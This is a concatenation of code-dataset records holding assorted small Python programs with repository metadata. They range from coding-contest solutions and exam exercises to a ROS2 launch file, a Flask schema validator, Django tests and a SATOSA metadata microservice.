obj.findMedian()","repo_name":"samiul123/Leetcode","sub_path":"295-find-median-from-data-stream/295-find-median-from-data-stream.py","file_name":"295-find-median-from-data-stream.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14557552664","text":"\ndef main():\n plik = open(\"slowa.txt\",\"r\")\n \n def czyWiecejZer(slowo):\n jedynki = slowo.count(\"1\")\n zera = slowo.count(\"0\")\n if zera > jedynki:\n return True\n else:\n return False\n\n def czyDwaNiepusteZbiory(slowo):\n lista = []\n temp = slowo[0]\n for i in range(1,len(slowo)):\n if slowo[i] == slowo[i-1]:\n temp += slowo[i]\n else:\n lista.append(temp)\n temp = slowo[i]\n if i == len(slowo)-1:\n lista.append(temp)\n\n if len(lista) == 2:\n if \"1\" not in lista[0] and \"0\" not in lista[1]:\n return True\n else:\n return False\n else:\n return False\n\n\n\n def najdlBlokZer(slowo):\n lista = []\n temp = slowo[0]\n for i in range(1,len(slowo)):\n if slowo[i] == slowo[i-1]:\n temp += slowo[i]\n else:\n lista.append(temp)\n temp = slowo[i]\n if i == len(slowo)-1:\n lista.append(temp)\n\n for blok in lista:\n if \"1\" in blok:\n lista.remove(blok)\n if len(lista) != 0:\n najdl_blok = max(lista,key=len)\n return najdl_blok\n return \"0\"\n\n licznik4_1 = 0\n licznik4_2 = 0 \n maxnajdlblok = \"\"\n lista2 = []\n for linia in plik:\n linia = linia.strip()\n lista2.append(linia)\n ### Zad 4.1 ###\n if czyWiecejZer(linia) == True:\n licznik4_1 += 1\n\n ### Zad 4.2 ###\n if czyDwaNiepusteZbiory(linia) == True:\n licznik4_2 += 1\n\n ### Zad 4.3 ###\n najdlblok = najdlBlokZer(linia)\n if len(najdlblok) > len(maxnajdlblok):\n maxnajdlblok = najdlblok\n\n lista4_3 = []\n for linia in lista2:\n if maxnajdlblok == najdlBlokZer(linia):\n tablica.append(linia)\n\n ### odpowiedzi ###\n print(licznik4_1,licznik4_2,lista4_3)\nif __name__ == '__main__':\n main()","repo_name":"artpods56/Matura-Informatyka-Python","sub_path":"2015 Maj - Stare Rozszerzenie/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23602435561","text":"'''\r\nCreated on May 8, 2010\r\n\r\n@author: rahul dantkale\r\n'''\r\ndef snapping (fileName):\r\n fs = open(\"D:\\\\GCJ2010\\\\\" + fileName)\r\n outfs = open(\"D:\\\\GCJ2010\\\\\" + fileName + \".out\", \"w\")\r\n inputData = fs.read().splitlines()\r\n for i in range(1, len(inputData)):\r\n N, K = inputData[i].split()\r\n snappers = [0 for s in range(int(N))]\r\n for snap in range(int(K)):\r\n if snappers[0] == 0:\r\n snappers[0] = 1\r\n elif snappers[0] == 1:\r\n for j in range(int(N)):\r\n if snappers[j] == 1:\r\n snappers[j] = 0\r\n else:\r\n snappers[j] = 1\r\n break\r\n result = \"OFF\"\r\n value = snappers[0]\r\n for k in range(1, int(N)):\r\n if value == 0: break\r\n value = value & snappers[k] \r\n if value == 1: result = \"ON\"\r\n outfs.write('Case #{0}: {1}'.format(i, result))\r\n outfs.write('\\n')\r\n\r\nsnapping(\"A-small-attempt3.in\")\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/963.py","file_name":"963.py","file_ext":"py","file_size_in_byte":1048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23567777601","text":"import math\r\n\r\ndef split(n):\r\n if n%2 == 0:\r\n return [n//2, n//2]\r\n else:\r\n return [n//2+1, n//2]\r\n\r\ndef q3(n,k):\r\n l = math.floor(math.log(k,2))\r\n index = k - 2 ** l\r\n count = {n:1} ## last dict\r\n cur = {}\r\n h = {n} ##last list\r\n t = set() ##current list\r\n for i in range(0,l):\r\n for j in h:\r\n if (j-1)%2==1:\r\n t.add(j//2)\r\n t.add(j//2-1)\r\n if j//2-1 in cur:\r\n cur[j//2-1] += count[j]\r\n else:\r\n cur[j//2-1] = count[j]\r\n if j//2 in cur:\r\n cur[j//2] += count[j]\r\n else:\r\n cur[j//2] = count[j]\r\n else:\r\n t.add((j-1)//2)\r\n if (j-1)//2 in cur:\r\n cur[(j-1)//2] += 2* count[j]\r\n else:\r\n cur[(j-1)//2] = 2* count[j]\r\n count = cur\r\n h = t\r\n t = set()\r\n cur = {}\r\n h=list(h)\r\n h.sort(key=lambda x: -x)\r\n return get(index, h, count) -1\r\n\r\ndef get(n, heap, dict):\r\n if n < dict[heap[0]]:\r\n return heap[0]\r\n else:\r\n return get(n-dict[heap[0]], heap[1:], dict)\r\n\r\n\r\ntotal = int(input())\r\n\r\n\r\nfor c in range(1,total+1):\r\n numbers = [int(n) for n in input().split()]\r\n n = numbers[0]\r\n k = numbers[1]\r\n result = split(q3(n,k))\r\n print('Case #{0}: {1} {2}'.format(c, result[0], result[1]))\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_201/1583.py","file_name":"1583.py","file_ext":"py","file_size_in_byte":1470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42998812242","text":"# coding=utf-8\n\nclass Solution:\n\n def solution(self, line, row, arr):\n if line < len(arr) and row < len(arr[line]):\n left = self.solution(line + 1, row, arr)\n right = self.solution(line + 1, row + 1, arr)\n if right > left:\n return arr[line][row] + right\n return arr[line][row] + left\n return 0\n\n\nif __name__ == '__main__':\n arr = [\n [3],\n [7, 4],\n [2, 4, 6],\n [8, 5, 9, 3],\n ]\n s = Solution()\n print(s.solution(0, 0, arr))\n","repo_name":"ooooo-youwillsee/wechat-data-structures-and-algorithms","sub_path":"1-50/16/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71316142593","text":"# Triangular, pentagonal, and hexagonal\r\n#\r\n# https://projecteuler.net/problem=45\r\n\r\nfrom math import sqrt\r\n\r\nn = 1\r\nwhile True:\r\n T = n * (n + 1) // 2\r\n P = (sqrt(24 * T + 1) + 1) / 6\r\n H = (sqrt(8 * T + 1) + 1) / 4\r\n if P == int(P) and H == int(H):\r\n print(T)\r\n if T > 40755:\r\n quit()\r\n n += 1\r\n","repo_name":"TomasPetrikas/Project_Euler","sub_path":"Python/PE-45.py","file_name":"PE-45.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71274260673","text":"# -*- coding: utf-8 -*-\n# Gazebo Turtlebot3 and rtabmap_ros rgbd camera test\n# rtabmap_ros_my/launch/gazebo_rgbd_test.launch.py\n#\n# 1. build on SBC and PC\n# $ colcon build --symlink-install --parallel-workers 1 --packages-select rtabmap_ros_my\n# $ . install/setup.bash\n#\n# 2. Gazebo\n# $ export TURTLEBOT3_MODEL=waffle\n# $ ros2 launch turtlebot3_gazebo turtlebot3_house.launch.py\n#\n# 3. run\n# $ ros2 launch rtabmap_ros_my gazebo_rgbd_test.launch.py\n#\nimport os\n\n#from launch import LaunchDescription\nfrom launch_ros.actions import Node\n\n\n\nfrom ament_index_python.packages import get_package_share_directory\nfrom launch import LaunchDescription\nfrom launch.actions import DeclareLaunchArgument,IncludeLaunchDescription\nfrom launch.launch_description_sources import PythonLaunchDescriptionSource\nfrom launch.substitutions import LaunchConfiguration\n\n\n\ndef generate_launch_description():\n\n use_sim_time = LaunchConfiguration('use_sim_time')\n qos = LaunchConfiguration('qos')\n\n #uvc_camera = get_package_share_directory('uvc_camera')\n #stereo_image_proc = get_package_share_directory('stereo_image_proc')\n rtabmap_ros_my = get_package_share_directory('rtabmap_ros_my')\n\n parameters={\n 'voxel_size':0.05,\n 'decimation7':1,\n \"max_depth\":4\n }\n\n #remappings=[\n\t#\t ('disparity/image','disparity'),\n\t#\t ('disparity/camera_info','right/camera_info'),\n\t#\t ('cloud','cloudXYZ')]\n\n\n remappings=[\n ('rgb/image', '/camera/image_raw'),\n ('rgb/camera_info', '/camera/camera_info'),\n ('depth/image', '/camera/depth/image_raw')]\n\n\n return LaunchDescription([\n\n # Launch arguments\n DeclareLaunchArgument(\n 'use_sim_time', default_value='true',\n description='Use simulation (Gazebo) clock if true'),\n \n DeclareLaunchArgument(\n 'qos', default_value='2',\n description='QoS used for input sensor topics'),\n\n # Nodes to launch\n Node(\n package='rtabmap_ros', executable='rgbd_sync', output='screen',\n parameters=[{'approx_sync':True, 'use_sim_time':use_sim_time, 'qos':qos}],\n #remappings=remappings\n remappings=[\n ('rgb/image', '/camera/image_raw'),\n ('rgb/camera_info', '/camera/camera_info'),\n ('depth/image', '/camera/depth/image_raw')]\n ),\n\n Node(\n package='rtabmap_ros', executable='point_cloud_xyzrgb', output='screen',\n parameters=[{\n \"decimation\": 4,\n \"voxel_size\": 0.0,\n \"approx_sync\": True,\n \"approx_sync_max_interval\": 0.5,\n 'qos': qos,\n }],\n remappings=[\n #('left/image', '/left/image'),\n #('right/image', '/right/image'),\n #('left/camera_info', '/left/camera_info'),\n #('right/camera_info', '/right/camera_info'),\n ('rgb/image', '/camera/image_raw'),\n ('depth/image', '/camera/depth/image_raw'),\n ('rgb/camera_info', '/camera/camera_info'),\n #('rgbd_image', '/rgbd_image'),\n ('cloud', '/cloudXYZ')]\n ),\n\n\n #IncludeLaunchDescription(\n # PythonLaunchDescriptionSource(\n # os.path.join(rtabmap_ros_my, 'stereo_image_proc.launch.py')\n # ),\n # #launch_arguments={'left/device': '/dev/video0'}.items(),\n #),\n ])\n\n'''\n$ ros2 run tf2_ros static_transform_publisher 0 0 0 -1.5707963267948966 0 -1.5707963267948966 base_link camera 3\n\n\nIncludeLaunchDescription(\n PythonLaunchDescriptionSource(\n os.path.join(rtabmap_ros_my, 'launch', 'stereo_image_proc.launch.py')\n ),\n launch_arguments={'approximate_syn': True,\n 'use_system_default_qos': True}.items(),\n),\n'''\n","repo_name":"tosa-no-onchan/rtabmap_ros_my","sub_path":"launch/gazebo_rgbd_test.launch.py","file_name":"gazebo_rgbd_test.launch.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35178328580","text":"from flask import Flask, request, jsonify\nfrom Validator.middleware import parse_payload\nimport logging\nfrom Validator.validators import validate_schema_id\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\nimport json\nimport jsonschema\n\napp = Flask(__name__)\nlogging.basicConfig(level=\"DEBUG\")\n\nmongo_client = MongoClient('mongodb', 27017)\nmongo_db = mongo_client.test_database\nmongo_collection = mongo_db.test_collection\n\n@app.route('/')\ndef hello_world(name='world'):\n \"\"\"A hello world func\"\"\"\n return f\"Hello {name}\"\n\n@app.route('/schema', strict_slashes=False, methods=['POST'])\ndef post_schema():\n # Receive a payload and post it to mongo\n payload = request.json\n app.logger.debug(payload)\n # function to post schema\n result = mongo_collection.insert_one(payload).inserted_id\n return jsonify(\n {'data': str(result)}\n ), 200\n\n@app.route('/schema/', strict_slashes=False, methods=['GET'])\ndef get_schema(schema_id):\n app.logger.info(f\"id: {schema_id}\")\n #function to get schema id from mongo\n logging.info(f'[GET]: Recieved {schema_id}')\n\n result = mongo_collection.find_one({\"_id\": ObjectId(schema_id)})\n app.logger.debug(result)\n del result[\"_id\"]\n return jsonify({\n 'data': result\n })\n\n\n@app.route('/schema//validate', strict_slashes=False, methods=['POST'])\ndef validate(schema_id):\n app.logger.info(f\"id: {schema_id}\")\n #function to get schema id from mongo\n logging.info(f'[GET]: Recieved {schema_id}'),\n schema = mongo_collection.find_one({\"_id\": ObjectId(schema_id)})\n\n payload = request.json\n\n app.logger.debug(schema)\n app.logger.debug(payload)\n \n del schema[\"_id\"]\n\n try:\n validation = jsonschema.validate(payload, schema)\n except Exception as e:\n output = str(e)\n \n if output is None:\n output = \"OK\"\n return jsonify({\n 'data': output\n })\n","repo_name":"Skydipper/Validator","sub_path":"Validator/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11975174117","text":"import os\nimport json\nimport datetime\nimport copy\n\nclass MyWork:\n def __init__(self, path):\n assert type(path) == str\n self.path = path \n self.works = self.read_works()\n # read work\n def read_works(self,):\n if os.path.exists(self.path):\n with open(self.path, 'r') as f:\n data = json.load(f)\n return data\n else:\n return []\n def get_last_id(self):\n if len(self.works)>=1:\n last_id = self.works[-1]['id']\n return int(last_id)\n else:\n return 0\n\n def add_works(self, assigned_by, assigned_to, title, *description):\n date = datetime.datetime.now()\n id = self.get_last_id() + 1\n des = ''\n for d in description:\n des += d + ' '\n obj = {\n 'id': id,\n 'date': str(date),\n 'assigned_by': assigned_by,\n 'assigned_to': assigned_to,\n 'title': title,\n 'description': des,\n 'status': 'pending',\n }\n self.works.append(obj)\n # write \n with open(self.path, 'w') as f:\n json.dump(self.works, f)\n def update_status_work(self, work_id,status):\n work_id = int(work_id)\n w_ind = None\n for i, work in enumerate(self.works):\n if work_id == int(work['id']):\n w_ind = i\n break\n if w_ind is not None:\n # update\n work = copy.deepcopy(self.works[w_ind])\n work['status'] = str(status)\n self.works[w_ind] = work\n # write \n with open(self.path, 'w') as f:\n json.dump(self.works, f)\n return True\n else:\n return False\n \n def get_works(self, ):\n return self.works\n\n def del_works(self, id):\n id = int(id)\n rm_ind = None\n for i, work in enumerate(self.works):\n if id == int(work['id']):\n rm_ind = i \n break\n\n if rm_ind is not None:\n self.works.remove(self.works[i])\n #write\n with open(self.path, 'w') as f:\n json.dump(self.works, f)\n return True\n else:\n return False\n","repo_name":"s0ngkran/discord-bot","sub_path":"my_work.py","file_name":"my_work.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2843371876","text":"import dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nfrom textwrap import dedent\n\n\nclass MarkdownModule(object):\n def __init__(self):\n markdown_text = dedent(\"\"\"\n ### Dash and Markdown\n\n Dash apps can be written in Markdown.\n Dash uses the [CommonMark](http://commonmark.org)\n specification of MarkDown.\n Check out their [60 Second Markdown Tutorial](http://commonmark.org/help/)\n if this is your first introduction to MarkDown!\n\n \"\"\")\n self.layout = html.Div(id='markdown',\n children=[\n dcc.Markdown(children=markdown_text)\n ], style={'display': 'none'}\n )\n return\n\n def set_callbacks(self, app):\n\n @app.callback(Output('markdown', 'style'), [Input('tabs', 'value'), Input('tab-subcategories', 'value')])\n def display_module(tab, tab_subcategory):\n if (tab == 1) & (tab_subcategory == 'Markdown'):\n return {'display': 'block'}\n return {'display': 'none'}\n\n pass\n","repo_name":"jxb5778/dash_example","sub_path":"app/pages/part_1/markdown_module.py","file_name":"markdown_module.py","file_ext":"py","file_size_in_byte":1159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4346498215","text":"#!/usr/bin/env python3\n# coding: utf-8\n# bomAvailibility.py\n# Imports BOM csv and uses OctopartAPI to check the availibility of the parts.\n# Run: python3 bomAvailibility.py /path/to/file/filename.csv\n# Author: Douglass Murray\n\nimport sys\nimport pandas\nimport urllib.request as http\nimport json\nimport time\n# import os # not used yet\n\noctopartAPIKey = '515ffdce74e42367a27b' # Douglass Murray's account\ntestPart = 'SN74S74N'\nurl = 'http://octopart.com/api/v3/parts/match?'\nurl += '&queries=[{\"mpn\":\"'\nurl += testPart\nurl += '\"}]'\nurl += '&apikey='\nurl += octopartAPIKey\nprint(url)\n\nfilename = sys.argv[1]\ndf = pandas.read_csv(filename, header=0, delimiter=',')\n# Remove rows with NaN in PARTNUM column\ndf.dropna(subset=['PARTNUM'], inplace=True)\n\n# Assumes the csv file as been cleaned and thus only\n# has attributes: 'Qty', 'Parts', 'MANUF', 'PARTNUM', 'Value'\nprint(df['PARTNUM'])\n\noctopartData = http.urlopen(url).read()\nresponse = json.loads(octopartData)\n# request = http.Request(url, None) # The assembled request\n# response = http.urlopen(request)\n# octopartData = response.read()\ntime.sleep(3) # Need 3 seconds between HTTP inquiries for hobbyest use of Octopart API\n# Example from Octopart API documentation\n# print mpn's\nfor result in response['results']:\n for item in result['items']:\n print(item['mpn'])\n","repo_name":"dougmurray/bomAvailibility","sub_path":"bomAvailibility.py","file_name":"bomAvailibility.py","file_ext":"py","file_size_in_byte":1328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71589806273","text":"import pytest\nimport numpy as np\n\nfrom context import Runner, ExecutionType, get_configs, docker_available\n\n\nclass MockContext():\n def __init__(self):\n self.obj = {}\n\n\n@pytest.mark.skipif(not docker_available(), reason='Docker is not available')\ndef test_runner_langermann():\n internal_conf = get_configs('csaopt/internal/csaopt-internal.conf')\n ctx = {}\n ctx['internal_conf'] = internal_conf\n\n runner = Runner(['examples/ackley/ackley_opt.py'], ['examples/ackley/ackley.conf'], ctx)\n\n runner.run()\n if len(runner.failures) > 0:\n raise Exception('Runner had failures: %s' % runner.failures)\n\n assert runner.best_value == pytest.approx(0, abs=0.2)\n","repo_name":"d53dave/csaopt","sub_path":"tests/test_runner.py","file_name":"test_runner.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"61"} +{"seq_id":"4578895384","text":"from __init__ import *\n\nPLOTLY_LOGO = \"https://images.plot.ly/logo/new-branding/plotly-logomark.png\"\n\n\ncollapse = dbc.Row(\n [\n dbc.Col(\n dbc.Button(\"Home\", color=\"primary\", href = \"/page_home\",className=\"ml-2\", id = \"home\"),\n width=\"auto\",\n ),\n dbc.Col(\n dbc.Button(\"A propos\", color=\"primary\", href = \"/page_about\", className=\"ml-2\", id = \"about\"),\n width=\"auto\",\n ),\n ],\n no_gutters=True,\n className=\"ml-auto flex-nowrap mt-3 mt-md-0\",\n align=\"center\",\n\n)\n\nnavbar = dbc.Navbar(\n [\n html.A(\n # Use row and col to control vertical alignment of logo / brand\n dbc.Row(\n [\n dbc.Col(html.Img(src='data:image/png;base64,{}'.format(encoded_image_hexa.decode()),\n height = 60,\n )),\n dbc.Col(dbc.NavbarBrand(html.H2(\"Bee Easy\"), className=\"ml-2\")),\n ],\n align=\"center\",\n no_gutters=True,\n ),\n href=\"/page_home\", #mettre la ref de beeeasy\n ),\n dbc.NavbarToggler(id=\"navbar-toggler\"),\n dbc.Collapse(collapse, id=\"navbar-collapse\", navbar=True),\n ],\n color=\"primary\",\n dark=True,\n)\n\n","repo_name":"AntoinePagneux126/CS-1A-PJT_BeeEasy","sub_path":"dashboard/pages/nav.py","file_name":"nav.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"23559796371","text":"#!/usr/bin/python3\n\nimport sys\n\ndef solve(n):\n result = []\n number = str(n)\n fillup = False\n\n for i in range(len(number)):\n cand = number[i]\n result.append(cand)\n if i < len(number)-1 and number[i+1] < cand:\n lesser = str(int(cand) - 1)\n subst = None\n for j in range(len(result)):\n if result[j] == cand:\n result[j] = lesser\n subst = j\n break\n\n result = result[0:j+1]\n fillup = True\n break\n\n if fillup:\n result += ['9'] * (len(number) - len(result))\n\n return int(''.join(result))\n\n\nT = int(sys.stdin.readline().strip())\n\nfor t in range(T):\n S = sys.stdin.readline().strip()\n print(\"Case #{}: {}\".format(t+1, solve(S)))\n\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_200/3841.py","file_name":"3841.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4302328415","text":"from connect2j import scriptContext\r\n\r\n\r\ntimeout = 1000\r\nmax_length_of_wfm = PVUtil.getLong(pvs[0])\r\n\r\n\r\ndef waveform_is_full(wfm, max_length):\r\n return len(wfm) == max_length\r\n\r\n\r\ndef value_if_not_null(pv):\r\n val = PVUtil.getDouble(pv)\r\n return val if val else 0\r\n\r\n\r\ndef get_data_points():\r\n data_pvs = [pvs[1], pvs[3], pvs[5], pvs[7], pvs[9], pvs[11]]\r\n return [value_if_not_null(pv) for pv in data_pvs]\r\n\r\n \r\ndef write_wfms(data_points):\r\n local_wfms_pvs = [pvs[2], pvs[4], pvs[6], pvs[8], pvs[10], pvs[12]]\r\n for i in range(len(local_wfms_pvs)):\r\n wfm = PVUtil.getDoubleArray(local_wfms_pvs[i])\r\n if waveform_is_full(wfm, max_length_of_wfm):\r\n wfm.pop(0)\r\n wfm.append(data_points[i])\r\n local_wfms_pvs[i].write(wfm)\r\n\r\n\r\n\r\nwith scriptContext('widget', 'pvs', 'PVUtil', dict=globals()): \r\n data_points = get_data_points()\r\n write_wfms(data_points)\r\n\r\n\r\n\r\n\r\n ","repo_name":"CentralLaserFacility/gemini-amplifier-cameras","sub_path":"opi/scripts/convert_to_wfm.py","file_name":"convert_to_wfm.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7785851572","text":"import pytest\nfrom django.urls import reverse\nfrom banners.models import Banner, BannerImage, AboutBanner\nfrom django.core.exceptions import ValidationError\nfrom mixer.backend.django import mixer\n\n\npytestmark = pytest.mark.django_db\n\n\nclass TestBannerImage():\n \"\"\"\"Test BannerImage object.\"\"\"\n\n def test_that_banner_image_can_be_created(self):\n \"\"\"Test that BannerImage is created.\"\"\"\n\n assert BannerImage.objects.all().count() == 0\n image = mixer.blend(BannerImage)\n assert BannerImage.objects.all().count() == 1\n\n def test_str_method_of_bannerimage(self):\n \"\"\"Test that __str__ is properly generated.\"\"\"\n\n banner_image = mixer.blend(BannerImage, tytuł='Test')\n assert str(banner_image) == f'BanerIMG:{banner_image.tytuł}'\n\n def test_get_filename_of_bannerimage(self):\n \"\"\"Test that get_filename returns name of uploded file.\"\"\"\n\n banner_image = mixer.blend(BannerImage, tytuł='Test')\n assert banner_image.get_filename() == 'default.jpg'\n\n\nclass TestAboutBanner():\n \"\"\"Test Banner object.\"\"\"\n\n def test_that_aboutbanner_can_be_created(self):\n \"\"\"Test that AboutBanner object is created.\"\"\"\n\n assert AboutBanner.objects.all().count() == 0\n about_banner = mixer.blend(AboutBanner)\n assert AboutBanner.objects.all().count() == 1\n\n def test_str_method_of_aboutbanner(self):\n \"\"\"Test that __str__ is properly generated.\"\"\"\n\n about_banner = mixer.blend(AboutBanner, tytuł='test', is_active=True)\n about_banner2 = mixer.blend(\n AboutBanner, tytuł='test2', is_active=False)\n assert str(\n about_banner) == \"Bannner:test Status:AKTYWNY\"\n assert str(\n about_banner2) == \"Bannner:test2 Status:NIEAKTYWNY\"\n\n def test_is_active_raises_validation_error(self):\n \"\"\"Test that there can be only one Banner with status is_avtive=True\"\"\"\n\n with pytest.raises(ValidationError) as error:\n about_banner = mixer.blend(\n AboutBanner, tytuł='test', is_active=True)\n # Since validators are run only on forms I have to check it this way!\n AboutBanner.is_active.field.run_validators(value=True)\n","repo_name":"sbtah/shipmodels-django-site","sub_path":"tests/test_banners.py","file_name":"test_banners.py","file_ext":"py","file_size_in_byte":2225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35351900888","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : search_insert.py\n# @Author: Wade Cheung\n# @Date : 2018/7/3\n# @Desc : 插值查找, 二分查找的变体 :以更快的速度进行缩减\n\n\ndef insert_search(lis, key):\n low = 0\n high = len(lis) - 1\n times = 0\n\n while low < high:\n times += 1\n mid = low + int((high - low) * (key - lis[low]) / (lis[high] - lis[low])) # 核心代码, 非中间位数\n if lis[mid] > key:\n high = mid - 1\n elif lis[mid] < key:\n low = mid + 1\n else:\n print('times: %d' % times)\n return mid\n\n print('times: %d' % times)\n return False\n\n\nif __name__ == '__main__':\n LIST = [3, 5, 7, 18, 22, 54, 123, 199, 200, 222, 444]\n result = insert_search(LIST, 222)\n print(result)\n","repo_name":"00wendi00/Python-initiation","sub_path":"algorithm/search_insert.py","file_name":"search_insert.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11129185256","text":"class Sky:\n \"\"\"\n silent night\n \"\"\"\n\n def __init__(self, points):\n self.stars = points\n\n self.height, self.width, \\\n self.min_x, self.min_y = self.calculate_heights(0)\n\n self.old_min_x = None\n self.old_min_y = None\n self.warned = False\n\n def calculate_heights(self, seconds):\n sorted_x = sorted(self.stars,\n key=lambda x: x.get_position_at(seconds)[0])\n\n sorted_y = sorted(self.stars,\n key=lambda x: x.get_position_at(seconds)[1])\n\n min_x = sorted_x[0].get_position_at(seconds)[0]\n max_x = sorted_x[len(sorted_x) - 1].get_position_at(seconds)[0]\n\n min_y = sorted_y[0].get_position_at(seconds)[1]\n max_y = sorted_y[len(sorted_y) - 1].get_position_at(seconds)[1]\n\n width = max_x - min_x + 1\n height = max_y - min_y + 1\n\n return height, width, min_x, min_y\n\n def calculate_star_position(self, x, y):\n return x - self.min_x, y - self.min_y\n\n def construct_sky(self, seconds):\n self.old_min_x = self.min_x\n self.old_min_y = self.min_y\n\n self.height, self.width, \\\n self.min_x, self.min_y = self.calculate_heights(seconds)\n\n if self.old_min_x - self.min_x > 0:\n print(\"X difference is getting bigger!\")\n self.warned = True\n\n if self.warned:\n exit()\n\n sky = []\n for i in range(self.height):\n row = []\n for j in range(self.width):\n row.append(\" \")\n sky.append(row)\n\n for star in self.stars:\n star_x, star_y = star.get_position_at(seconds)\n x, y = self.calculate_star_position(star_x, star_y)\n sky[y][x] = \"*\"\n\n return sky\n\n def contains_negative_values(self, seconds):\n self.height, self.width, \\\n self.min_x, self.min_y = self.calculate_heights(seconds)\n return self.min_x < 0 or self.min_y < 0\n\n def print(self, seconds):\n sky = self.construct_sky(seconds)\n to_print = \"\"\n for row in sky:\n to_print += \"\".join(row)\n to_print += \"\\n\"\n\n print(to_print)\n\n\nclass Star:\n def __init__(self, position, velocity):\n self.vel_x, self.vel_y = velocity\n self.x, self.y = position\n\n def __repr__(self):\n return f\"\" # noqa\n\n def get_position_at(self, seconds):\n return self.x + (self.vel_x * seconds), \\\n self.y + (self.vel_y * seconds)\n\n @classmethod\n def from_text(cls, text):\n position_start = text[10:].split()\n position_x = int(position_start[0].rstrip(\",\"))\n position_y = int(position_start[1].rstrip(\">\"))\n\n velocity_start = text.find(\"velocity=<\")\n velocity_string = text[velocity_start + 10:].split(\", \")\n\n vel_x = int(velocity_string[0])\n vel_y = int(velocity_string[1].rstrip(\">\"))\n\n return cls((position_x, position_y), (vel_x, vel_y))\n","repo_name":"jb3/aoc-2018","sub_path":"day-10/sky.py","file_name":"sky.py","file_ext":"py","file_size_in_byte":3063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"463413212","text":"\"\"\"Extract metadata information for the requester and issuer.\"\"\"\n\nfrom satosa.micro_services.base import ResponseMicroService\nfrom satosa.micro_services.base import RequestMicroService\n\nfrom .collectors import collect_oidc_entity_metadata\nfrom .collectors import collect_saml_entity_metadata\n\nimport re\n\n\nKEY_STATE = \"MetaInfoService\"\nKEY_ISSUER_METADATA = \"metadata_store\"\nKEY_SAML_REQUESTER_METADATA = \"metadata_store\"\nKEY_OIDC_REQUESTER_METADATA = \"requester_metadata\"\nUUID4HEX = re.compile(\n \"^[a-f0-9]{8}-?[a-f0-9]{4}-?4[a-f0-9]{3}-?[89ab][a-f0-9]{3}-?[a-f0-9]{12}\\Z\", re.I\n)\n\n\ndef is_oidc_client(entity_id):\n result = entity_id.startswith(\"APP-\") or bool(UUID4HEX.match(entity_id))\n return result\n\n\ndef collect_entity_metadata(mdstore, metadata, entity_id):\n entity_metadata = (\n {}\n if not mdstore\n else collect_oidc_entity_metadata(mdstore, entity_id)\n if is_oidc_client(entity_id)\n else collect_saml_entity_metadata(mdstore, entity_id)\n )\n return entity_metadata\n\n\ndef update_metadata_with_entity(mdstore, metadata, entity_id):\n entity_metadata = collect_entity_metadata(mdstore, metadata, entity_id)\n updated_metadata = (\n {**metadata, entity_id: entity_metadata} if entity_metadata else metadata\n )\n return updated_metadata\n\n\nclass _MetaInfoService:\n \"\"\"\n Extract metadata info for the requester (on request) and the issuer (on response)\n \"\"\"\n\n def process(self, context, internal_data):\n metadata = self.extract_metadata_state(context.state)\n entity_id = self.get_entity_id(internal_data)\n mdstore = self.get_metadata_store(context, entity_id)\n\n has_been_processed = entity_id in metadata\n metadata_new = (\n update_metadata_with_entity(\n mdstore=mdstore,\n metadata=metadata,\n entity_id=entity_id,\n )\n if not has_been_processed\n else metadata\n )\n\n internal_data.metadata = metadata_new\n self.update_metadata_state(context.state, metadata_new)\n return super().process(context, internal_data)\n\n\nclass MetaInfoRequester(_MetaInfoService, RequestMicroService):\n \"\"\"\n Extract metadata info for the requester.\n\n Example configuration:\n\n ```yaml\n module: satosa.micro_services.metainfo.MetaInfoRequester\n name: MetaInfoRequester\n ```\n \"\"\"\n\n def extract_metadata_state(self, state):\n metadata = {}\n return metadata\n\n def update_metadata_state(self, state, metadata):\n state[KEY_STATE] = {\"metadata\": metadata}\n\n def get_metadata_store(self, context, entity_id):\n md = context.get_decoration(\n 